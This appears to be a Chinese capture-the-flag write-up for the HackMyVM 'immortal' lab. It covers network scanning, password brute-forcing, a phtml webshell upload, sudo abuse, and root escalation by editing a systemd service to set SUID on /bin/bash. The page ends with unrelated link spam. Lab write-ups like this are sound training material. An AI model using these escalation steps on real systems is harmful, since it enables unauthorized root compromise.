当前位置: 首页 > news >正文

hackmyvm-immortal

arp-scan -l

nmap -sS -v 192.168.222.178

80端口

抓包,爆破出密码: santiago
莫斯电码,解密出来内容为NOTHIN7MPORTANT
获得一个关键信息——文件上传路径为
/upload_an_incredible_message.php
上传phtml木马
连接蚁剑
第一个flag
连接ssh,使用system可以连接上

sudo -l

使用nano编辑器编辑immortal.py,CTRL+O保存,CTRL+X退出

sudo -u eric /usr/bin/python3 /opt/immortal.py

-u eric 表示以用户 eric 的身份运行后续的命令。
该命令的具体作用是:
以用户 eric 的身份,使用 /usr/bin/python3 解释器,运行位于 /opt/immortal.py 的 Python 脚本。

sudo -l

sudoedit /etc/systemd/system/immortal.service

ExecStart=/usr/bin/chmod +s /bin/bash

sudo /usr/bin/systemctl stop immortal.service

sudo /usr/bin/systemctl start immortal.service

ls -l /bin/bash

bash -p

1.bash -p 的作用
  • 保留权限:-p 选项会阻止 Bash 在启动时重置有效用户 ID(EUID)和有效组 ID(EGID)。这意味着,如果以特权用户(如 root)身份启动 Bash,即使切换到普通用户,Bash 仍会保留特权用户的权限。
  • 保留环境变量:-p 选项还会阻止 Bash 在启动时重置环境变量(如 PATH、HOME 等),确保环境变量保持不变。
2. 使用场景
  • 特权操作:在某些情况下,需要在普通用户环境中执行特权操作,但又不想完全切换到特权用户。bash -p 可以保留特权用户的权限,方便执行这些操作。
  • 环境变量保留:如果需要在启动 Bash 时保留当前的环境变量设置,可以使用 -p 选项。

相关文章:

  • PCL 1.12.0 释放std::free(ptr)问题解决
  • 3.25-2request库
  • Sublime全局搜索快捷键Ctrl+Shift+F不能使用解决
  • react中 useEffect和useLayoutEffect的区别
  • ANYmal Parkour: Learning Agile Navigation for Quadrupedal Robots
  • 使用go实现下载导入Excel模板
  • 2025年- G29-Lc103-3. 最长无重复字符的子字符串--java版
  • PHP接口开发:从基础到高级的全面指南
  • 算法题(107):function
  • Windows 10/11 使用 VSCode + SSH 免密远程连接 Ubuntu 服务器(指定端口)
  • matlab使用fmincon开加速
  • 光电效应及普朗克常数的测定数据处理 Python实现
  • 时隔多年,终于给它换了皮肤,并正式起了名字
  • 洛谷: P1443 马的遍历
  • OpenHarmony 入门——ArkUI 跨页面数据同步和应用全局单例的UI状态存储AppStorage 小结(三)
  • QML控件 - Slider
  • python脚本处理excel文件
  • 如何选择?Postman vs JMeter 对比介绍
  • zynq7020 最小ps环境速通
  • 开源大模型使用总结
  • 深圳乐安居网站谁做的/长春网站优化咨询
  • 电商公司的网站设计书/网络广告推广公司
  • 阿里云发布网站/网盘网页版登录入口
  • 创建一个公司网站需要多少钱/宣传推广方案范文
  • 新疆交通厅建设局网站/百度免费发布信息网站
  • 东莞专业做网站的公司有哪些/百度竞价排名价格查询